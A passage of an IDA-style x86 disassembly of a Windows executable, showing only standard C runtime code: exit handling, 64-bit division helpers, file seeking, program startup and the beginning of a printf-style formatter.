sub_4160F5+1Cp arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call ds:dword_4200A4 ; GetModuleHandleA test eax, eax jz short loc_415D6E push offset aCorexitprocess ; "CorExitProcess" push eax call ds:dword_420084 ; GetProcAddress test eax, eax jz short loc_415D6E push [esp+arg_0] call eax ; dword_42B030 loc_415D6E: ; CODE XREF: sub_415D49+Dj ; sub_415D49+1Dj push [esp+arg_0] call ds:dword_420034 ; ExitProcess int 3 ; Trap to Debugger loc_415D79: ; CODE XREF: sub_41B0A6+Cp push 8 call sub_4180B5 pop ecx retn sub_415D49 endp ; =============== S U B R O U T I N E ======================================= sub_415D82 proc near ; CODE XREF: sub_41B0D8p push 8 call sub_418021 pop ecx retn sub_415D82 endp ; =============== S U B R O U T I N E ======================================= sub_415D8B proc near ; CODE XREF: .text:loc_416255p mov eax, off_42D7A8 test eax, eax jz short loc_415D96 call eax ; sub_414D2D loc_415D96: ; CODE XREF: sub_415D8B+7j push esi push edi mov ecx, offset dword_42B00C mov edi, offset dword_42B020 xor eax, eax cmp ecx, edi mov esi, ecx jnb short loc_415DC1 loc_415DAA: ; CODE XREF: sub_415D8B+30j test eax, eax jnz short loc_415DED mov ecx, [esi] test ecx, ecx jz short loc_415DB6 call ecx loc_415DB6: ; CODE XREF: sub_415D8B+27j add esi, 4 cmp esi, edi jb short loc_415DAA test eax, eax jnz short loc_415DED loc_415DC1: ; CODE XREF: sub_415D8B+1Dj push offset sub_41B134 call sub_41B0DE mov esi, offset dword_42B000 mov eax, esi mov edi, offset dword_42B008 cmp eax, edi pop ecx jnb short loc_415DEB loc_415DDC: ; CODE XREF: sub_415D8B+5Ej mov eax, [esi] test eax, eax jz short loc_415DE4 call eax loc_415DE4: ; CODE XREF: sub_415D8B+55j add esi, 4 cmp esi, edi jb short loc_415DDC loc_415DEB: ; CODE XREF: sub_415D8B+4Fj xor eax, eax loc_415DED: ; CODE XREF: sub_415D8B+21j ; sub_415D8B+34j pop edi pop esi retn sub_415D8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DF0 proc near ; CODE XREF: sub_415EC3+8p ; sub_415ED4+8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi push 8 call sub_4180B5 xor esi, esi inc esi cmp dword_47C204, esi pop ecx jnz short loc_415E18 push [ebp+arg_0] call ds:dword_4200E0 ; GetCurrentProcess push eax call ds:dword_4200E8 ; TerminateProcess loc_415E18: ; CODE XREF: sub_415DF0+16j cmp [ebp+arg_4], 0 mov al, byte ptr [ebp+arg_8] mov dword_47C200, esi mov byte_47C1FC, al jnz short loc_415E7E mov ecx, dword_47D9D0 test ecx, ecx jz short loc_415E5F mov eax, dword_47D9CC sub eax, 4 cmp eax, ecx jmp short loc_415E58 ; --------------------------------------------------------------------------- loc_415E42: ; CODE XREF: sub_415DF0+6Dj mov eax, [eax] test eax, eax jz short loc_415E4A call eax loc_415E4A: ; CODE XREF: sub_415DF0+56j mov eax, dword_47D9CC sub eax, 4 cmp eax, dword_47D9D0 loc_415E58: ; CODE XREF: sub_415DF0+50j mov dword_47D9CC, eax jnb short loc_415E42 loc_415E5F: ; CODE XREF: sub_415DF0+44j mov eax, offset dword_42B024 mov esi, offset dword_42B02C cmp eax, esi mov edi, eax jnb short loc_415E7E loc_415E6F: ; CODE XREF: sub_415DF0+8Cj mov eax, [edi] test eax, eax jz short loc_415E77 call eax loc_415E77: ; CODE XREF: sub_415DF0+83j add edi, 4 cmp edi, esi jb short loc_415E6F loc_415E7E: ; CODE XREF: sub_415DF0+3Aj ; sub_415DF0+7Dj mov eax, offset dword_42B030 mov esi, offset dword_42B038 cmp eax, esi mov edi, eax jnb short loc_415E9D loc_415E8E: ; CODE XREF: sub_415DF0+ABj mov eax, [edi] test eax, eax jz short loc_415E96 call eax loc_415E96: ; CODE XREF: sub_415DF0+A2j add edi, 4 cmp edi, esi jb short loc_415E8E loc_415E9D: ; CODE XREF: sub_415DF0+9Cj cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415EAE push 8 call sub_418021 jmp short loc_415EC0 ; --------------------------------------------------------------------------- loc_415EAE: ; CODE XREF: sub_415DF0+B3j push [ebp+arg_0] mov dword_47C204, 1 call sub_415D49 loc_415EC0: ; CODE XREF: sub_415DF0+BCj pop ecx pop ebp retn sub_415DF0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415EC3 proc near ; CODE XREF: .text:004162A5p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_415DF0 add esp, 0Ch retn sub_415EC3 endp ; =============== S U B R O U T I N E ======================================= sub_415ED4 proc near ; CODE XREF: sub_4160D0+1Cp ; .text:004162D2p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_415DF0 add esp, 0Ch retn sub_415ED4 endp ; =============== S U B R O U T I N E ======================================= sub_415EE5 proc near ; CODE XREF: .text:loc_4162AAp push 1 push 0 push 0 call sub_415DF0 add esp, 0Ch retn sub_415EE5 endp ; =============== S U B R O U T I N E ======================================= sub_415EF4 proc near ; CODE XREF: .text:loc_4162D7p push 1 push 1 push 0 call sub_415DF0 add esp, 0Ch retn sub_415EF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415F10 proc near ; CODE XREF: sub_41161C+3Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_415F31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_415F81 ; --------------------------------------------------------------------------- loc_415F31: ; CODE XREF: sub_415F10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_415F3F: ; CODE XREF: sub_415F10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_415F3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_415F6A cmp edx, [esp+4+arg_4] ja short loc_415F6A jb short loc_415F72 cmp eax, [esp+4+arg_0] jbe short loc_415F72 loc_415F6A: ; CODE XREF: sub_415F10+4Aj ; sub_415F10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_415F72: ; CODE XREF: sub_415F10+52j ; sub_415F10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_415F81: ; CODE XREF: sub_415F10+1Fj pop ebx retn 10h sub_415F10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415F90 proc near ; CODE XREF: sub_41161C+24p ; sub_415250+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_415FB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_415FF3 ; --------------------------------------------------------------------------- loc_415FB2: ; CODE XREF: sub_415F90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_415FC0: ; CODE XREF: sub_415F90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_415FC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_415FEE cmp edx, [esp+8+arg_4] ja short loc_415FEE jb short loc_415FEF cmp eax, [esp+8+arg_0] jbe short loc_415FEF loc_415FEE: ; CODE XREF: sub_415F90+4Ej ; sub_415F90+54j dec esi loc_415FEF: ; CODE XREF: sub_415F90+56j ; sub_415F90+5Cj xor edx, edx mov eax, esi loc_415FF3: ; CODE XREF: sub_415F90+20j pop esi pop ebx retn 10h sub_415F90 endp ; =============== S U B R O U T I N E ======================================= sub_415FF8 proc near ; CODE XREF: sub_416087+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h push edi jz short loc_416076 mov edi, [esp+8+arg_8] test edi, edi jz short loc_416017 cmp edi, 1 jz short loc_416017 cmp edi, 2 jnz short loc_416076 loc_416017: ; CODE XREF: sub_415FF8+13j ; sub_415FF8+18j and eax, 0FFFFFFEFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41602F push esi call sub_41B297 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_41602F: ; CODE XREF: sub_415FF8+28j push esi call sub_417C02 mov eax, [esi+0Ch] test al, al pop ecx jns short loc_416045 and eax, 0FFFFFFFCh mov [esi+0Ch], eax jmp short loc_416059 ; --------------------------------------------------------------------------- loc_416045: ; CODE XREF: sub_415FF8+43j test al, 1 jz short loc_416059 test al, 8 jz short loc_416059 test ah, 4 jnz short loc_416059 mov dword ptr [esi+18h], 200h loc_416059: ; CODE XREF: sub_415FF8+4Bj ; sub_415FF8+4Fj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41B1EC xor ecx, ecx add esp, 0Ch cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_416084 ; --------------------------------------------------------------------------- loc_416076: ; CODE XREF: sub_415FF8+Bj ; sub_415FF8+1Dj call sub_419430 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_416084: ; CODE XREF: sub_415FF8+7Cj pop edi pop esi retn sub_415FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416087 proc near ; CODE XREF: sub_411DD2+2C6p ; sub_411DD2+402p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 0Ch push offset stru_428DB0 call __SEH_prolog push [ebp+arg_0] call sub_417E28 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415FF8 add esp, 0Ch mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4160C6 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_416087 endp ; =============== S U B R O U T I N E ======================================= sub_4160C6 proc near ; CODE XREF: sub_416087+31p ; DATA XREF: .rdata:stru_428DB0o push dword ptr [ebp+8] call sub_417E7A pop ecx retn sub_4160C6 endp ; =============== S U B R O U T I N E ======================================= sub_4160D0 proc near ; CODE XREF: .text:00416218p ; .text:0041623Ep ... arg_0 = dword ptr 4 cmp dword_47C210, 1 jnz short loc_4160DE call sub_41B570 loc_4160DE: ; CODE XREF: sub_4160D0+7j push [esp+arg_0] call sub_41B3F9 push 0FFh call off_42D7D0 pop ecx pop ecx retn sub_4160D0 endp ; =============== S U B R O U T I N E ======================================= sub_4160F5 proc near ; CODE XREF: .text:004161EEp ; .text:004161FFp arg_0 = dword ptr 4 cmp dword_47C210, 1 jnz short loc_416103 call sub_41B570 loc_416103: ; CODE XREF: sub_4160F5+7j push [esp+arg_0] call sub_41B3F9 push 0FFh call sub_415D49 pop ecx pop ecx retn sub_4160F5 endp ; --------------------------------------------------------------------------- push 60h push offset stru_428DC0 call __SEH_prolog mov edi, 94h mov eax, edi call sub_414630 mov [ebp-18h], esp mov esi, esp mov [esi], edi push esi call ds:dword_420120 ; GetVersionExA mov ecx, [esi+10h] mov dword_47C1C4, ecx mov eax, [esi+4] mov dword_47C1D0, eax mov edx, [esi+8] mov dword_47C1D4, edx mov esi, [esi+0Ch] and esi, 7FFFh mov dword_47C1C8, esi cmp ecx, 2 jz short loc_416179 or esi, 8000h mov dword_47C1C8, esi loc_416179: ; CODE XREF: .text:0041616Bj shl eax, 8 add eax, edx mov dword_47C1CC, eax xor esi, esi push esi mov edi, ds:dword_4200A4 call edi ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_4161B4 mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_4161B4 movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_4161CC cmp eax, 20Bh jz short loc_4161B9 loc_4161B4: ; CODE XREF: .text:00416193j ; .text:004161A0j ... mov [ebp-1Ch], esi jmp short loc_4161E0 ; --------------------------------------------------------------------------- loc_4161B9: ; CODE XREF: .text:004161B2j cmp dword ptr [ecx+84h], 0Eh jbe short loc_4161B4 xor eax, eax cmp [ecx+0F8h], esi jmp short loc_4161DA ; --------------------------------------------------------------------------- loc_4161CC: ; CODE XREF: .text:004161ABj cmp dword ptr [ecx+74h], 0Eh jbe short loc_4161B4 xor eax, eax cmp [ecx+0E8h], esi loc_4161DA: ; CODE XREF: .text:004161CAj setnz al mov [ebp-1Ch], eax loc_4161E0: ; CODE XREF: .text:004161B7j push 1 call sub_417F32 pop ecx test eax, eax jnz short loc_4161F4 push 1Ch call sub_4160F5 pop ecx loc_4161F4: ; CODE XREF: .text:004161EAj call sub_416CB6 test eax, eax jnz short loc_416205 push 10h call sub_4160F5 pop ecx loc_416205: ; CODE XREF: .text:004161FBj call sub_41B0F0 mov [ebp-4], esi call sub_41BB6D test eax, eax jge short loc_41621E push 1Bh call sub_4160D0 pop ecx loc_41621E: ; CODE XREF: .text:00416214j call ds:dword_420168 ; GetCommandLineA mov dword_47D9C4, eax call sub_41BA4B mov dword_47C208, eax call sub_41B9A9 test eax, eax jge short loc_416244 push 8 call sub_4160D0 pop ecx loc_416244: ; CODE XREF: .text:0041623Aj call sub_41B776 test eax, eax jge short loc_416255 push 9 call sub_4160D0 pop ecx loc_416255: ; CODE XREF: .text:0041624Bj call sub_415D8B mov [ebp-20h], eax cmp eax, esi jz short loc_416268 push eax call sub_4160D0 pop ecx loc_416268: ; CODE XREF: .text:0041625Fj mov [ebp-38h], esi lea eax, [ebp-64h] push eax call ds:dword_420164 ; GetStartupInfoA call sub_41B70D mov [ebp-68h], eax test byte ptr [ebp-38h], 1 jz short loc_416289 movzx eax, word ptr [ebp-34h] jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416289: ; CODE XREF: .text:00416281j push 0Ah pop eax loc_41628C: ; CODE XREF: .text:00416287j push eax push dword ptr [ebp-68h] push esi push esi call edi ; GetModuleHandleA push eax call sub_40E6BB mov edi, eax mov [ebp-6Ch], edi cmp [ebp-1Ch], esi jnz short loc_4162AA push edi call sub_415EC3 loc_4162AA: ; CODE XREF: .text:004162A2j call sub_415EE5 jmp short loc_4162DC ; --------------------------------------------------------------------------- loc_4162B1: ; DATA XREF: .rdata:stru_428DC0o mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-70h], ecx push eax push ecx call sub_41B5A9 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_4162C5: ; DATA XREF: .rdata:stru_428DC0o mov esp, [ebp-18h] mov edi, [ebp-70h] cmp dword ptr [ebp-1Ch], 0 jnz short loc_4162D7 push edi call sub_415ED4 loc_4162D7: ; CODE XREF: .text:004162CFj call sub_415EF4 loc_4162DC: ; CODE XREF: .text:004162AFj or dword ptr [ebp-4], 0FFFFFFFFh mov eax, edi lea esp, [ebp-7Ch] call __SEH_epilog retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162EB proc near ; CODE XREF: sub_414415+4Bp ; sub_41466D+4Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] test al, 82h mov ebx, [esi+10h] jz loc_4163F7 test al, 40h jnz loc_4163F7 test al, 1 jz short loc_416324 and dword ptr [esi+4], 0 test al, 10h jz loc_4163F7 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_416324: ; CODE XREF: sub_4162EB+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_416360 cmp esi, offset dword_42D9A8 jz short loc_41634E cmp esi, offset dword_42D9C8 jnz short loc_416359 loc_41634E: ; CODE XREF: sub_4162EB+59j push ebx call sub_41BFFF test eax, eax pop ecx jnz short loc_416360 loc_416359: ; CODE XREF: sub_4162EB+61j push esi call sub_41BFBB pop ecx loc_416360: ; CODE XREF: sub_4162EB+51j ; sub_4162EB+6Cj test word ptr [esi+0Ch], 108h push edi jz short loc_4163CD mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx test edi, edi mov [esi+4], ecx jle short loc_41638D push edi push eax push ebx call sub_41BF10 mov [ebp+arg_4], eax jmp short loc_4163C0 ; --------------------------------------------------------------------------- loc_41638D: ; CODE XREF: sub_4162EB+93j cmp ebx, 0FFFFFFFFh jz short loc_4163AB mov ecx, ebx sar ecx, 5 mov ecx, dword_47C640[ecx*4] mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] lea eax, [ecx+eax*4] jmp short loc_4163B0 ; --------------------------------------------------------------------------- loc_4163AB: ; CODE XREF: sub_4162EB+A5j mov eax, offset dword_42E0E0 loc_4163B0: ; CODE XREF: sub_4162EB+BEj test byte ptr [eax+4], 20h jz short loc_4163C3 push 2 push 0 push ebx call sub_41B1EC loc_4163C0: ; CODE XREF: sub_4162EB+A0j add esp, 0Ch loc_4163C3: ; CODE XREF: sub_4162EB+C9j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_4163E1 ; --------------------------------------------------------------------------- loc_4163CD: ; CODE XREF: sub_4162EB+7Cj xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push ebx call sub_41BF10 add esp, 0Ch mov [ebp+arg_4], eax loc_4163E1: ; CODE XREF: sub_4162EB+E0j cmp [ebp+arg_4], edi pop edi jz short loc_4163ED or dword ptr [esi+0Ch], 20h jmp short loc_4163FD ; --------------------------------------------------------------------------- loc_4163ED: ; CODE XREF: sub_4162EB+FAj mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_416400 ; --------------------------------------------------------------------------- loc_4163F7: ; CODE XREF: sub_4162EB+10j ; sub_4162EB+18j ... or eax, 20h mov [esi+0Ch], eax loc_4163FD: ; CODE XREF: sub_4162EB+100j or eax, 0FFFFFFFFh loc_416400: ; CODE XREF: sub_4162EB+10Aj pop esi pop ebx pop ebp retn sub_4162EB endp ; =============== S U B R O U T I N E ======================================= sub_416404 proc near ; CODE XREF: sub_416437+11p ; sub_41645B+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_416410 cmp dword ptr [ecx+8], 0 jz short loc_416434 loc_416410: ; CODE XREF: sub_416404+4j dec dword ptr [ecx+4] js short loc_416420 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41642C ; --------------------------------------------------------------------------- loc_416420: ; CODE XREF: sub_416404+Fj movsx eax, al push ecx push eax call sub_4162EB pop ecx pop ecx loc_41642C: ; CODE XREF: sub_416404+1Aj cmp eax, 0FFFFFFFFh jnz short loc_416434 or [esi], eax retn ; --------------------------------------------------------------------------- loc_416434: ; CODE XREF: sub_416404+Aj ; sub_416404+2Bj inc dword ptr [esi] retn sub_416404 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416437 proc near ; CODE XREF: sub_416492+6A2p ; sub_416492+6CDp ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_416452 ; --------------------------------------------------------------------------- loc_41643F: ; CODE XREF: sub_416437+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_416404 cmp dword ptr [esi], 0FFFFFFFFh jz short loc_416458 loc_416452: ; CODE XREF: sub_416437+6j cmp [ebp+arg_4], 0 jg short loc_41643F loc_416458: ; CODE XREF: sub_416437+19j pop esi pop ebp retn sub_416437 endp ; =============== S U B R O U T I N E ======================================= sub_41645B proc near ; CODE XREF: sub_416492+6B6p ; sub_416492+70Ep ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_416488 cmp dword ptr [edi+8], 0 jnz short loc_416488 mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_41648F ; --------------------------------------------------------------------------- loc_416475: ; CODE XREF: sub_41645B+32j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_416404 inc ebx cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41648F loc_416488: ; CODE XREF: sub_41645B+Aj ; sub_41645B+10j cmp [esp+8+arg_0], 0 jg short loc_416475 loc_41648F: ; CODE XREF: sub_41645B+18j ; sub_41645B+2Bj pop esi pop ebx retn sub_41645B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416492 proc near ; CODE XREF: sub_414415+2Ap ; sub_41466D+29p ... var_254 = byte ptr -254h var_55 = byte ptr -55h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 254h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx mov [ebp+var_4], eax xor eax, eax mov [ebp+var_14], eax mov [ebp+var_18], eax mov [ebp+var_2C], eax mov eax, [ebp+arg_4] mov bl, [eax] xor ecx, ecx test bl, bl jz loc_416BF6 push esi push edi mov edi, eax jmp short loc_4164CA ; --------------------------------------------------------------------------- loc_4164C7: ; CODE XREF: sub_416492+75Cj mov ecx, [ebp+var_38] loc_4164CA: ; CODE XREF: sub_416492+33j inc edi cmp [ebp+var_18], 0 mov [ebp+arg_4], edi jl loc_416BF4 cmp bl, 20h jl short loc_4164F1 cmp bl, 78h jg short loc_4164F1 movsx eax, bl movsx eax, byte ptr ds:stru_428DB0._unk[eax] and eax, 0Fh jmp short loc_4164F3 ; --------------------------------------------------------------------------- loc_4164F1: ; CODE XREF: sub_416492+49j ; sub_416492+4Ej xor eax, eax loc_4164F3: ; CODE XREF: sub_416492+5Dj movsx eax, ds:byte_428DD0[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+var_38], eax ja loc_416BE7 ; default jmp ds:off_416C07[eax*4] ; switch jump loc_416513: ; DATA XREF: .text:off_416C07o xor eax, eax ; jumptable 0041650C case 1 or [ebp+var_C], 0FFFFFFFFh mov [ebp+var_3C], eax mov [ebp+var_34], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_8], eax mov [ebp+var_28], eax jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416530: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o movsx eax, bl ; jumptable 0041650C case 2 sub eax, 20h jz short loc_416573 sub eax, 3 jz short loc_41656A sub eax, 8 jz short loc_416561 dec eax dec eax jz short loc_416558 sub eax, 3 jnz loc_416BE7 ; default or [ebp+var_8], 8 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416558: ; CODE XREF: sub_416492+B2j or [ebp+var_8], 4 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416561: ; CODE XREF: sub_416492+AEj or [ebp+var_8], 1 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_41656A: ; CODE XREF: sub_416492+A9j or byte ptr [ebp+var_8], 80h jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416573: ; CODE XREF: sub_416492+A4j or [ebp+var_8], 2 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_41657C: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o cmp bl, 2Ah ; jumptable 0041650C case 3 jnz short loc_4165A2 add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+var_24], eax jge loc_416BE7 ; default or [ebp+var_8], 4 neg [ebp+var_24] jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_4165A2: ; CODE XREF: sub_416492+EDj mov eax, [ebp+var_24] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+var_24], eax jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_4165B7: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o and [ebp+var_C], 0 ; jumptable 0041650C case 4 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_4165C0: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o cmp bl, 2Ah ; jumptable 0041650C case 5 jnz short loc_4165E3 add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+var_C], eax jge loc_416BE7 ; default or [ebp+var_C], 0FFFFFFFFh jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_4165E3: ; CODE XREF: sub_416492+131j mov eax, [ebp+var_C] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+var_C], eax jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_4165F8: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o cmp bl, 49h ; jumptable 0041650C case 6 jz short loc_41662B cmp bl, 68h jz short loc_416622 cmp bl, 6Ch jz short loc_416619 cmp bl, 77h jnz loc_416BE7 ; default or byte ptr [ebp+var_8+1], 8 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416619: ; CODE XREF: sub_416492+173j or [ebp+var_8], 10h jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416622: ; CODE XREF: sub_416492+16Ej or [ebp+var_8], 20h jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_41662B: ; CODE XREF: sub_416492+169j mov al, [edi] cmp al, 36h jnz short loc_416645 cmp byte ptr [edi+1], 34h jnz short loc_416645 inc edi inc edi or byte ptr [ebp+var_8+1], 80h mov [ebp+arg_4], edi jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_416645: ; CODE XREF: sub_416492+19Dj ; sub_416492+1A3j cmp al, 33h jnz short loc_41665D cmp byte ptr [edi+1], 32h jnz short loc_41665D inc edi inc edi and byte ptr [ebp+var_8+1], 7Fh mov [ebp+arg_4], edi jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_41665D: ; CODE XREF: sub_416492+1B5j ; sub_416492+1BBj cmp al, 64h jz loc_416BE7 ; default cmp al, 69h jz loc_416BE7 ; default cmp al, 6Fh jz loc_416BE7 ; default cmp al, 75h jz loc_416BE7 ; default cmp al, 78h jz loc_416BE7 ; default cmp al, 58h jz loc_416BE7 ; default and [ebp+var_38], 0 loc_416691: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o mov ecx, off_42DEB0 ; jumptable 0041650C case 0 and [ebp+var_28], 0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_4166B8 mov ecx, [ebp+arg_0] lea esi, [ebp+var_18] mov al, bl call sub_416404 mov bl, [edi] inc edi mov [ebp+arg_4], edi loc_4166B8: ; CODE XREF: sub_416492+211j mov ecx, [ebp+arg_0] lea esi, [ebp+var_18] mov al, bl call sub_416404 jmp loc_416BE7 ; default ; --------------------------------------------------------------------------- loc_4166CA: ; CODE XREF: sub_416492+7Aj ; DATA XREF: .text:off_416C07o movsx eax, bl ; jumptable 0041650C case 7 cmp eax, 67h jg loc_41691C cmp eax, 65h jge loc_41675F cmp eax, 58h jg loc_4167C0 jz loc_41699D sub eax, 43h jz loc_416782 dec eax dec eax jz short loc_416755 dec eax dec eax jz short loc_416755 sub eax, 0Ch jnz loc_416AE5 test word ptr [ebp+var_8], 830h jnz short loc_416714 or byte ptr [ebp+var_8+1], 8 loc_416714: ; CODE XREF: sub_416492+27Cj ; sub_416492+4A9j mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnz short loc_416721 mov ecx, 7FFFFFFFh loc_416721: ; CODE XREF: sub_416492+288j add [ebp+arg_8], 4 test word ptr [ebp+var_8], 810h mov eax, [ebp+arg_8] mov eax, [eax-4] mov [ebp+var_10], eax jz loc_416972 test eax, eax jnz short loc_416746 mov eax, off_42D7DC mov [ebp+var_10], eax loc_416746: ; CODE XREF: sub_416492+2AAj mov eax, [ebp+var_10] mov [ebp+var_28], 1 jmp loc_416964 ; --------------------------------------------------------------------------- loc_416755: ; CODE XREF: sub_416492+267j ; sub_416492+26Bj mov [ebp+var_3C], 1 add bl, 20h loc_41675F: ; CODE XREF: sub_416492+247j or [ebp+var_8], 40h cmp [ebp+var_C], 0 lea esi, [ebp+var_254] mov [ebp+var_10], esi jge loc_416866 mov [ebp+var_C], 6 jmp loc_4168AD ; --------------------------------------------------------------------------- loc_416782: ; CODE XREF: 